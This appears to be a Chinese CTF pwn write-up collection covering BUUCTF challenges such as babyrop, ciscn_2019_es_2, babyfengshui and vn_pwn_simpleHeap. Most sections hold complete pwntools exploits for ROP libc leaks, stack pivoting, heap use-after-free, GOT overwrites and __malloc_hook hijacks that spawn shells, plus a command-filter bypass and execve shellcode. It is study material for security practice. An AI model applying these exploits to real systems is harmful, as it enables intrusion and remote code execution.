p.sendline(payload)
p.interactive()

ez_pz_hackover_2016

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ez_pz_hackover_2016
[*] '/home/ios/APwn/buuctf/ez_pz_hackover_2016'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

ida分析

int chall()
{
  size_t v0; // eax
  int result; // eax
  char s; // [esp+Ch] [ebp-40Ch]
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %p\n", &s);
  printf("Whats your name?\n");
  printf("> ");
  fgets(&s, 1023, stdin);
  v0 = strlen(&s);
  v3 = memchr(&s, 0xA, v0);
  if ( v3 )
    *v3 = 0;
  printf("\nWelcome %s!\n", &s);
  result = strcmp(&s, "crashme");
  if ( !result )
    result = vuln((unsigned int)&s, 0x400u);
  return result;
}

memchr函数用于取\n(0xa)之前的数据,该函数返回一个指向匹配字节的指针,如果在给定的内存区域未出现字符,则返回 NULL。

然后看到strcmp函数 需要满足出现crashme才可以触发vuln函数,这里用到\x00进行截断 strcmp只会比较\x00之前的数据,所以可以在\x00后面来布置rop

void *__cdecl vuln(char src, size_t n)
{
  char dest; // [esp+6h] [ebp-32h]

  return memcpy(&dest, &src, n);
}

就进行了一个复制 大小为0x400 但是dest不可能存放这么多数据 所以会产生溢出,溢出可以通过gdb调试获得

leak fgets接着构造rop进行getshell即可

exp

from pwn import *
context.log_level='debug'
context.arch='i386'
p=process('./ez_pz_hackover_2016')
elf=ELF('ez_pz_hackover_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
fmt=0x804884e
printf=elf.sym['printf']
fgets=elf.got['fgets']
#gdb.attach(p)
p.recvuntil('>')
payload='crashme\x00'+'a'*18+p32(printf)+p32(0x80486E2)+p32(fmt)+p32(fgets)
p.sendline(payload)
p.recvuntil('Welcome')

fget=u32(p.recvuntil('\xf7')[-4:])
print hex(fget)
base=fget-libc.sym['fgets']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
p.recvuntil('>')
payload='crashme\x00'+'a'*18+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
p.interactive()

bjdctf_2020_babyrop

简单rop

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Pull up your sword and tell me u story!");
  return read(0, buf, 0x64uLL);
}

read存在溢出,给了puts函数 可以leak puts=>getshell

exp

from pwn import *
context.log_level='debug'
#p=process('./bjdctf_2020_babyrop')
p=remote('node3.buuoj.cn',28711)
elf=ELF('bjdctf_2020_babyrop')
libc=ELF('libc/16/x64-libc-2.23.so')
#gdb.attach(p)
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
pop_rdi=0x0000000000400733# : pop rdi ; ret
payload="a"*40+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4006AD)
p.recvuntil('!')
p.sendline(payload)
puts=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(puts)
base=puts-libc.sym['puts']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
p.recvuntil('!')
payload="a"*40+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()

ciscn_2019_es_2

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_es_2
[*] '/home/ios/APwn/buuctf/ciscn_2019_es_2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}

32位有puts 考虑可能需要leak puts

int vul()
{
  char s; // [esp+0h] [ebp-28h]

  memset(&s, 0, 0x20u);
  read(0, &s, 0x30u);
  printf("Hello, %s\n", &s);
  read(0, &s, 0x30u);
  return printf("Hello, %s\n", &s);
}

read存在问题 读入0x30 可以溢出(8字节) 4字节ebp、4字节ret

虽然题目给了system(“echo flag”) 但是远程环境并没有echo这个参数 所以考虑栈迁移

调试可以测试出我们读入的s的栈地址 ,第一次溢出用于leak 栈地址+返回main函数。第二次溢出构造栈迁移到s_stack地址(leak出的地址是我们输入的地址 所以第二次溢出的数据可以构造rop)

构造 leak puts+1次read读入 返回system 起shell

exp

from pwn import *
context.log_level='debug'
p=process('./ciscn_2019_es_2')
elf=ELF('ciscn_2019_es_2')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
read_plt=elf.sym['read']
leave_ret=0x080484b8# : leave ; ret
#p=remote('node3.buuoj.cn',25556)
payload='bbbb'+'a'*0x28+p32(0x80485FF)
gdb.attach(p)
p.send(payload)
p.recvuntil('Hello')
p.recvuntil('\xf7')
stack=u32(p.recv(4))-0x60 //这里的stack可以自行gdb调试一下
print hex(stack)
payload='cccc'+'c'*0x1c
p.send(payload)
p.recvuntil('Hello')
payload='d'*0x30+p32(stack)+p32(puts_plt+4)+p32(read_plt)+p32(puts_got)+p32(0)+p32(stack+4)+p32(0x10)+p32(0x1553155)
payload+='f'*(0x58-len(payload))+p32(stack)+p32(leave_ret)
p.send(payload)
p.recvuntil('Hello')
p.recvuntil('\x0a')
p.recvuntil('\x0a')
puts=u32(p.recv(4))
print hex(puts)
base=puts-libc.sym['puts']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload=p32(system)+p32(0x1553155)+p32(binsh)
p.send(payload)
p.interactive()

遇到问题

本地测试成功getshell 不知道为啥远程还是有问题

QQ20200804-203033@2x

后面发现自己做的复杂了2333

[BJDCTF 2nd]test

题目很有意思

给定ssh

QQ20200804-204514@2x

直接读取flag是没有权限的,需要通过test来进行读取

ctf@a9a029a6e619:~$ ls -l
total 20
-rw-r----- 1 root ctf_pwn   43 Aug  4 12:36 flag
-r-xr-sr-x 1 root ctf_pwn 8920 Mar 18 05:46 test
-rw-r--r-- 1 root ctf_pwn  812 Mar 18 05:46 test.c
ctf@a9a029a6e619:~$

cat test.c 可以看代码

ctf@a9a029a6e619:~$ cat test.c 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){
    char cmd[0x100] = {0};
    puts("Welcome to Pwn-Game by TaQini.");
    puts("Your ID:");
    system("id");
    printf("$ ");
    gets(cmd);
    if( strstr(cmd, "n")
       ||strstr(cmd, "e")
       ||strstr(cmd, "p")
       ||strstr(cmd, "b")
       ||strstr(cmd, "u")
       ||strstr(cmd, "s")
       ||strstr(cmd, "h")
       ||strstr(cmd, "i")
       ||strstr(cmd, "f")
       ||strstr(cmd, "l")
       ||strstr(cmd, "a")
       ||strstr(cmd, "g")
       ||strstr(cmd, "|")
       ||strstr(cmd, "/")
       ||strstr(cmd, "$")
       ||strstr(cmd, "`")
       ||strstr(cmd, "-")
       ||strstr(cmd, "<")
       ||strstr(cmd, ">")
       ||strstr(cmd, ".")){
        exit(0);    
    }else{
        system(cmd);
    }
    return 0;
}

一个c_shell 并进行了过滤 我们可以通过下列命令进行查找过滤后可以使用的命令(去掉含这些字符的命令)

ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
ctf@a9a029a6e619:~$ ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
dd
kmod
mt
mv
rm

2to3
2to3-2.7
2to3-3.4
[
comm
od
tr
tty
w
wc
x86_64
xxd

<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
od 指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。
mt 命令用来控制磁带驱动器的操作,比如查看状态或查找磁带上的文件或写入磁带控制标记
tr 命令用于转换或删除文件中的字符。
x86_64 当前执行域仅影响uname -m的输出。例如,在AMD64系统上,运行setarch i386程序will.cause程序会将i686而不是x86_64视为计算机类型。 它还允许设置各种个性选项。 缺省程序是/ bin / sh。

这道题看了下wp,正常用od * 读取所有文件 开头的就是flag 这个没问题 有趣的事 x86_64命令 居然可以用来起shell

QQ20200804-205853@2x

学到了2333

[Black Watch 入群题]PWN

ida分析

ssize_t vul_function()
{
  size_t v0; // eax
  size_t v1; // eax
  char buf; // [esp+0h] [ebp-18h]

  v0 = strlen(m1);
  write(1, m1, v0);
  read(0, &s, 0x200u);
  v1 = strlen(m2);
  write(1, m2, v1);
  return read(0, &buf, 32u);
}

4字节溢出 明显需要栈迁移 s在bss段 地址已知 我们通过 leave_ret跳转到bss执行rop

puts还未调用 所以可以用write泄露地址。本来这里我打算自己构造个read读system binsh,但是出现问题就利用了vul_function自己的read 通过read(0, &s, 0x200u);读入 控制ip getshell

exp

from pwn import *
context.log_level='debug'
#p=process('./spwn')
p=remote('node3.buuoj.cn',29689)
elf=ELF('spwn')
libc=ELF('libc/16/x86-libc-2.23.so')
write_plt=elf.sym['write']
write_got=elf.got['write']
read_plt=elf.sym['read']
bss=0x804A300
main=0x80483A0
leave_ret=0x08048408 #: leave ; ret
p.recvuntil('name?')
#gdb.attach(p)
payload1=p32(bss+4)+p32(write_plt)+p32(0x80484C7)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)
p.recvuntil('say?')
payload='a'*24+p32(bss)+p32(leave_ret)
p.sendline(payload)
write=u32(p.recv(4))
print hex(write)
base=write-libc.sym['write']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload='a'*24+p32(bss)+p32(0x1553155)
p.sendline("test"+'aaaa'+p32(system)+p32(0x1553155)+p32(binsh))
p.interactive()

others_shellcode

emm 以为是利用m_protect改地址权限。原来直接给你shell了

push    ebp
mov     ebp, esp
call    __x86_get_pc_thunk_ax
add     eax, 1AA8h
xor     edx, edx        ; envp
push    edx
push    'hs//'
push    'nib/'
mov     ebx, esp        ; file
push    edx
push    ebx
mov     ecx, esp        ; argv
mov     eax, 0FFFFFFFFh
sub     eax, 0FFFFFFF4h
int     80h             ; LINUX - sys_execve
nop
pop     ebp
retn

[BJDCTF 2nd]ydsneedgirlfriend2

ida分析

int menu()
{
  puts(&byte_400E6F);
  puts("1.add a girlfriend");
  puts("2.dele a girlfriend");
  puts("3.show a girlfriend");
  puts("4.exit");
  return puts("u choice :");
}

通过menu 进行函数逐个分析

unsigned __int64 add()
{
  void **v0; // rbx
  int nbytes; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( count > 7 )
  {
    puts("Full!");
    exit(-1);
  }
  if ( !girlfriends )
  {
    girlfriends = malloc(0x10uLL);
    if ( !girlfriends )
    {
      perror("malloc failed=");
      exit(-1);
    }
  }
  *(_QWORD *)(girlfriends + 8LL) = print_girlfriend_name;
  puts("Please input the length of her name:");
  read(0, buf, 8uLL);
  nbytes = atoi(buf);
  v0 = (void **)girlfriends;
  *v0 = malloc(nbytes);
  if ( !*girlfriends )
  {
    perror("name malloc failed=");
    exit(-1);
  }
  puts("Please tell me her name:");
  read(0, (void *)*girlfriends, (unsigned int)nbytes);
  puts("what a beautiful name! Thank you on behalf of yds!");
  ++count;
  return __readfsqword(0x28u) ^ v4;
}

首先知道count=7 (0-7) 也就是最多存8个,girlfriends 可以看为一个结构体 存在一个固定参数 girlfriends + 8LL = print_girlfriend_name;另外一个就是 每次输入的name了

所以可以新建一个结构体

QQ20200808-202005@2x

QQ20200808-203134@2x

这样分析就清晰明了很多

unsigned __int64 add()
{
  void **v0; // rbx
  int nbytes; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( count > 7 )
  {
    puts("Full!");
    exit(-1);
  }
  #判断 girlfriends是否被创建 如果没有则创建(每次运行程序只会创建一次)
  if ( !girlfriends )
  {
    girlfriends = (struct_girlfriends *)malloc(0x10uLL);
    if ( !girlfriends )
    {
      perror("malloc failed=");
      exit(-1);
    }
  }
  #每次add()操作后都会将print_addr=print_girlfriend_name
  girlfriends->print_addr = print_girlfriend_name;
  puts("Please input the length of her name:");
  read(0, buf, 8uLL);
  nbytes = atoi(buf);
  #对name_addr创建存储
  v0 = &girlfriends->name_addr;
  *v0 = malloc(nbytes);
  if ( !girlfriends->name_addr )
  {
    perror("name malloc failed=");
    exit(-1);
  }
  puts("Please tell me her name:");
  #读入name_addr的内容
  read(0, girlfriends->name_addr, (unsigned int)nbytes);
  puts("what a beautiful name! Thank you on behalf of yds!");
  ++count;
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 dele()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0 && v1 < count )
  {
    if ( *(&girlfriends + v1) )
    {
      #free掉当前索引(0)的 name_addr
      free((*(&girlfriends + v1))->name_addr);
      #free掉当前索引(0)
      free(*(&girlfriends + v1));
      #存在uaf漏洞 free掉girlfriends[0]之后并没有将该地址置为0
      puts("Why are u so cruel!");
    }
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

漏洞分析

free后没有将该地址置为0,导致如果申请相同大小,注意这里free掉两个堆块 其中第一个只是name_addr的堆块并不是我们girlfriends堆块 ,girlfriends堆块0x10(0x8 size name_addr、0x8 size print_girlfriend_name)

QQ20200808-204245@2x

这是add 0x30 size的name后的heap状态 ,可以看到 0x10的是我们的girlfriends 本来应该有两个指针一个放name_addr(因为free了name 所以这里的fd指向为0 如果不为0会指向第二个name堆块地址+0x10处,堆头0x10 size )

QQ20200808-204505@2x

此时再bins可以看到free掉的两个堆块地址

如果我们申请大小0x10 会怎么样?

会把bins中的 0x10(0x20处)size的堆块分配出来,也就是我们会重新申请到girlfriends堆块,那我们在add时就能编辑他的内容 包括控制print_addr

add(0x30,'A'*0x30)
dele(0)
add(0x10,p64(0xdeadbeef)+p64(0x1553155))
gdb.attach(p)

可以测试下

QQ20200808-204915@2x

发现确实修改了 girlfriends并且。bk (原为print_addr)现在修改为了0x1553155

QQ20200808-205127@2x

原在bins中的0x10大小的空闲堆块被申请了回去

题目给出backdoor函数我们修改print_addr为backdoor函数 接着调用print函数就可以成功getshell

exp

from pwn import *

p=process('./ydsneedgirlfriend2')
#p=remote('node3.buuoj.cn',26415)
def add(size,con):
    p.recvuntil('choice :')
    p.sendline('1')
    p.recvuntil('name:')
    p.sendline(str(size))
    p.recvuntil('name:')
    p.sendline(con)
    p.recvuntil('yds!')
def dele(idx):
    p.recvuntil('choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))
    p.recvuntil('cruel!')
def show(idx):
    p.recvuntil('choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(idx))
add(0x30,'A'*0x30)
dele(0)
add(0x10,p64(0xdeadbeef)+p64(0x400D86))
#gdb.attach(p)
show(0)
p.interactive()

babyfengshui_33c3_2016

32位堆溢出

ios@ubuntu:~/APwn/buuctf$ checksec babyfengshui_33c3_2016
[*] '/home/ios/APwn/buuctf/babyfengshui_33c3_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000

ida 分析

void __cdecl __noreturn main()
{
  char v0; // [esp+3h] [ebp-15h]
  int v1; // [esp+4h] [ebp-14h]
  size_t v2; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x14u);
  while ( 1 )
  {
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action: ");
    if ( __isoc99_scanf("%d", &v1) == -1 )
      break;
    if ( !v1 )
    {
      printf("size of description: ");
      __isoc99_scanf("%u%c", &v2, &v0);
      add(v2);
    }
    if ( v1 == 1 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      delete(v2);
    }
    if ( v1 == 2 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      show(v2);
    }
    if ( v1 == 3 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      get_context(v2); #update
    }
    if ( v1 == 4 )
    {
      puts("Bye");
      exit(0);
    }
    if ( (unsigned __int8)description_addr > 0x31u ) #检查添加了多少个description ,最多0x31{
      puts("maximum capacity exceeded, bye");
      exit(0);
    }
  }
  exit(1);
}
_DWORD *__cdecl add(size_t a1)
{
  void *s; // ST24_4
  _DWORD *v2; // ST28_4

  s = malloc(a1);
  memset(s, 0, a1);
  #同等于一次 calloc(a1);

  v2 = malloc(0x80u);
  memset(v2, 0, 0x80u);
   #同等于一次 calloc(0x80);
  *v2 = s;
  ptr[(unsigned __int8)description_addr] = v2; 
  printf("name: ");
  fgets_con((char *)ptr[(unsigned __int8)description_addr] + 4, 0x7C);
  get_context(++description_addr - 1);
  return v2;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

alloc 与 malloc 的区别是 calloc 在分配后会自动进行清空

通过add可以知道

struct ptr{
    void *description_addr //4 size
    char[0x7c] name                    //0x7c size
}
unsigned int __cdecl sub_8048724(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h]
  int v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)description_addr && ptr[a1] )
  {
    v3 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 ) #此处的判断是为了防止溢出,条件为:判断我们输入的text_len要小于我们最开始输入的description size,否则就exit
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    fgets_con(*(char **)ptr[a1], v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

读入description的text内容,

我们再捋一下;首先输入的是description的size,然后读入的name 大小为0x7c,不存在溢出,接着输入text len,判断输入的text len 是否小于刚才输入的description size,满足则读入 。这里存在溢出,因为 可以绕过if条件,导致text处溢出。

利用思路

那这里该如何绕过呢?

如果我们add两次

add(0x80,'aaaa',0x80,'bbbb')
add(0x80,'cccc',0x80,'dddd')

此时的堆块应该是什么样子的呢?

0x80 0x80 0x80 0x80
aaaa bbbb cccc dddd

这里怎么理解 add这个操作呢?

首先 malloc时会在内存中查找是否有空闲堆块(free掉后的)如果没有则会开辟新空间,如果存在则从空闲堆块中取出,正常的两次add ,中间没有任何free 出现空闲堆块,所以 上图为 正常排布。

如果我们free掉1次呢?例如我们free(0)第一个堆块,则此时bins会空闲一个0x100(0x80+0x80)的unsorted bin,此时剩余

0x80 0x80
cccc dddd

如果我们再次add->会先在bin中查找是否有空闲的0x100size的堆块->发现存在 则分配掉(此时空闲就没了),因为0x100时之前分配的 地址也是之前free掉的 所以会出现

0x100 0x80 0x80
Test cccc dddd

0x100会在前半部分,接着会malloc(0x80)->发现没有空余就只能开辟新的,会出现

0x100 0x80 0x80 0x80
eeee cccc dddd ffff

if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )

如果不理解这个位置可以看一下这个图

gdb-peda$ heap
0x833a000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x89, 
  fd = 0x62626262, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x833a088 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x89, 
  fd = 0x833a008, 
  bk = 0x61616161, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x833a110 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20ef1, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

此时的ptr[a1] - 4 就是 0x833a088-4(这是完整的一个堆块上一个位置), (char )(v3 + (_DWORD *)ptr[a1])就是我们输入text len后的长度计算出的地址 此时就是0x833a000+0x8(chunk head)+0x80(add的大小) ,简单理解就是我们输入的text len后计算出的地址要小于ptr[a1] - 4 ,

那上面的排布是怎么绕过这个的呢?

add(0x100,'eeee',0x19c,'ffff')

正常情况这个是要报错误的 ,这里可以思考下 此时写入的地址是哪里?0x100处也就是他先要计算0x833a000+0x100 与 最后一个堆块-4的地址比较 ,这个肯定是小于,为什么?中间还隔了2个0x80的chunk ,也就是我们最大可以读0x100+0x100的size才会大于后一个堆块-4,导致我们可以溢出原本0x100的堆块 description 向其他堆块写地址。我们覆盖到ptr[description_addr],也就是

0x833a088 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x89, 
  fd = 0x833a008, 
  bk = 0x61616161, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

覆盖掉这个堆块的fd,那printf(ptr[description_addr])时就会打印printf(free_got),接着在update 修改这个堆块,原本应该是修改ptr[description_addr]的内容,此时就会修改free_got处的内容,例如

修改前

gdb-peda$ x/wx 0xf7df7530
0xf7df7530 <__GI___libc_free>:    0xe71fe853
gdb-peda$ x/wx 0x804b010 #free got
0x804b010:    0xf7df7530
gdb-peda$

修改后

gdb-peda$ x/wx 0xf7e29db0
0xf7e29db0 <__libc_system>:    0x8b0cec83
gdb-peda$ x/wx 0x804b010 #free got
0x804b010:    0xf7e29db0
gdb-peda$

修改后为 system ,再次free 实质执行为system[ptr[description_addr]]

我们添加一个新堆块text内容为/bin/sh,就可以执行 system(“/bin/sh”)

exp

from pwn import *
context.log_level='debug'
p=process('./babyfengshui_33c3_2016')
elf=ELF('babyfengshui_33c3_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
free_got=elf.got['free']

def add(name_size,name,text_len,text):
    p.recvuntil('Action:')
    p.sendline('0')
    p.recvuntil('description:')
    p.sendline(str(name_size))
    p.recvuntil('name:')
    p.sendline(name)
    p.recvuntil('text length:')
    p.sendline(str(text_len))
    p.recvuntil('text:')
    p.sendline(text)
def dele(idx):
    p.recvuntil('Action:')
    p.sendline('1')
    p.recvuntil('index:')
    p.sendline(str(idx))
def show(idx):
    p.recvuntil('Action:')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(idx))
def edit(idx,text_len,text):
    p.recvuntil('Action:')
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline(str(idx))
    p.recvuntil('text length:')
    p.sendline(str(text_len))
    p.recvuntil('text:')
    p.sendline(text)
add(0x80,'aaaa',0x80,'bbbb')
add(0x80,'cccc',0x80,'dddd')
add(0x80,'cccc',0x80,'/bin/sh\x00/bin/sh\x00')
dele(0)
#dele(1)
add(0x100,'eeee',0x19c,'f'*0x190+p32(0)+p32(0x89)+p32(free_got))
show(1)
data=p.recvuntil('\xf7')
free=u32(data[-4:])
print hex(free)

system=free-libc.sym['free']+libc.sym['system']
edit(1,4,p32(system))
#gdb.attach(p)
dele(2)
p.interactive()

jarvisoj_level4

简单溢出+leak read

exp

from pwn import *
context.log_level='debug'
p=process('level4')
elf=ELF('level4')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
read_got=elf.got['read']
write_plt=elf.sym['write']
main=0x8048470
#gdb.attach(p)
payload='a'*0x8c+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read=u32(p.recv(4))
print hex(read)
base=read-libc.sym['read']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload='a'*0x8c+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
p.interactive()

vn_pwn_simpleHeap

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec vn_pwn_simpleHeap
[*] '/home/ios/APwn/buuctf/vn_pwn_simpleHeap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
ios@ubuntu:~/APwn/buuctf$

Full RELRO不能改got表,可以考虑改malloc_hook

题目分析

int add()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  v1 = check_chunk(); //检查是否申请满了
  if ( v1 == -1 )
    return puts("Full");
  printf("size?");
  result = reads();
  v2 = result;
  if ( result > 0 && result <= 0x6F )           // 限定你只能申请到fastbin
  {
    chunk_list[v1] = malloc(result);
    if ( !chunk_list[v1] )
    {
      puts("Something Wrong!");
      exit(-1);
    }
    size_list[v1] = v2; //输入的size放入size_list
    printf("content:");
    read(0, (void *)chunk_list[v1], size_list[v1]);// 往申请到的堆块中读取size大小的内容
    result = puts("Done!");
  }
  return result;
}

edit

int edite()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = reads();//读index
  if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
    exit(0);
  printf("content:");
  update(chunk_list[v1], size_list[v1]); //跟进
  return puts("Done!");
}

update

unsigned __int64 __fastcall update(__int64 a1, int a2)
{
  unsigned __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]
     //就是逐字读进去
  for ( i = 0; ; ++i ) 
  {
    result = i;
    if ( (int)i > a2 ) //漏洞在这里 因为从0开始 i=a2时会出现 多读入1字节 (正确写法应该是i>a2-1)
                                          //这也就是off by one 漏洞了
      break;
    if ( !read(0, (void *)((int)i + a1), 1uLL) )
      exit(0);
    if ( *(_BYTE *)((int)i + a1) == 10 )
    {
      result = (int)i + a1;
      *(_BYTE *)result = 0;
      return result;
    }
  }
  return result;
}

delet

int delet()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = reads();
  if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
    exit(0);
  free((void *)chunk_list[v1]);
  chunk_list[v1] = 0LL;
  size_list[v1] = 0;
  return puts("Done!");
}

show

int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = reads();
  if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
    exit(0);
  puts((const char *)chunk_list[v1]); //打印chunk_list[v1]
  return puts("Done!");
}

利用思路

这里推荐看一篇文章https://xz.aliyun.com/t/6559 ,基本就是这个思路了

通过堆分配对齐机制,使得第二个堆块鱼第一个堆块共用了堆头部分,接着通过溢出修改堆块大小,构造unsortedbin(方便泄漏libc),接着通过切割unsortedbin 申请到新的堆块且和被溢出的那个堆块在chunk_list中指向同一地址。通过free 新的 造成uaf 就可以控制fd了。修改fd为伪造的chunk地址 ,修改malloc_hook 即可。

首先是泄漏构造

from pwn import *
context.log_level='debug'
p=process('vn_pwn_simpleHeap')
elf=ELF('vn_pwn_simpleHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,con):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil('size?')
    p.sendline(str(size))
    p.recvuntil(':')
    p.send(con)
def edit(idx,con):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('idx?')
    p.sendline(str(idx))
    p.recvuntil(':')
    p.sendline(con)

def show(idx):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('idx?')
    p.sendline(str(idx))
def dele(idx):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('idx?')
    p.sendline(str(idx))
add(0x18,'aaaa')#0 这里就是利用对齐机制 方便写入到下面chunk的size
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x10,'dddd')#3 防止topchunk 合并

edit(0,'a'*0x10+p64(0)+p8(0xe1)) #溢出0修改1的堆头为0xe1

dele(1)
add(0x60,'dddd')#1
show(2)
main_arena=u64(p.recv(6).ljust(8,'\x00'))-88
malloc_hook=main_arena-0x10
libc_base=main_arena-0x10-libc.sym['__malloc_hook']
realloc=libc_base+0x84710
one_gadget=libc_base+0x4527a
fake_chunk=malloc_hook-0x23
print hex(main_arena)
print hex(one_gadget)
print hex(fake_chunk)

edit(0,’a’*0x10+p64(0)+p8(0xe1)) #溢出0修改1的堆头为0xe1

gdb-peda$ p/x 0x71+0x71
$1 = 0xe2

所以写入大小为0xe1

接着delete1后可以可以看到

QQ20200828-232355@2x

接着只要申请1次 切割一半0x60 打印就可以泄漏libc了

QQ20200828-232628@2x

接着就是 构造uaf,申请剩余的一半chunk 此时2的地址和4指向同一个地方

因为 我们通过溢出修改了1的size导致free时把chunk2也处理了 但是 chunk_list中的2并没有清空(我们没通过正常free)所以如果在申请4 会出现 2 4指向同一个地址 这样 free掉4后就可以修改fastbin中的2的fd执行我们构造的fake_chunk


add(0x60,'aaaa')#4 clean unsorted and ptr->2
dele(4)
edit(2,p64(fake_chunk))
add(0x60,'bbbb')#4
print hex(realloc)
add(0x60,p8(0)*(0x13-0x8)+p64(one_gadget)+p64(realloc+0xd))#5
gdb.attach(p)
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x10))
#gdb.attach(p)

